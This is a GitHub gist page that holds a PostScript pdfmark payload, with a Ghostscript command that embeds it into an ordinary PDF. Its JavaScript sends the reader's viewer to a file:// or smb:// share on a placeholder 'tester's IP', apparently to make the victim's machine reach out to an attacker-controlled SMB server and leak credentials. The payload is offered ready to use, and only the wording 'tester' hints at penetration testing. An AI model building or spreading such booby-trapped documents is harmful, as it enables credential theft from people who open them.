Skip to content

Instantly share code, notes, and snippets.

@kennystrawnmusic
Last active January 12, 2026 19:06
Show Gist options
  • Select an option

  • Save kennystrawnmusic/b2e520a6fa0d5cc656691a5ec440af26 to your computer and use it in GitHub Desktop.

Select an option

Save kennystrawnmusic/b2e520a6fa0d5cc656691a5ec440af26 to your computer and use it in GitHub Desktop.
Use the following command to add this payload into a PDF: `gs -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile=output.pdf pwn.ps input.pdf`
[ /_objdef {test} /type /dict /OBJ pdfmark
[ {test} << /JavaScript << /Names [ (test) << /S /JavaScript
/JS (var ip = "enter tester's IP address here"; if \(navigator.userAgent.match\('/Windows/i'\) { window.location = `file://${ip}/share/input.pdf`; } else { window.location = `smb://${ip}/share/input.pdf`; }\)) >> ]
>> >>
/PUT pdfmark
[ {Catalog} << /Names {test} >> /PUT pdfmark
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment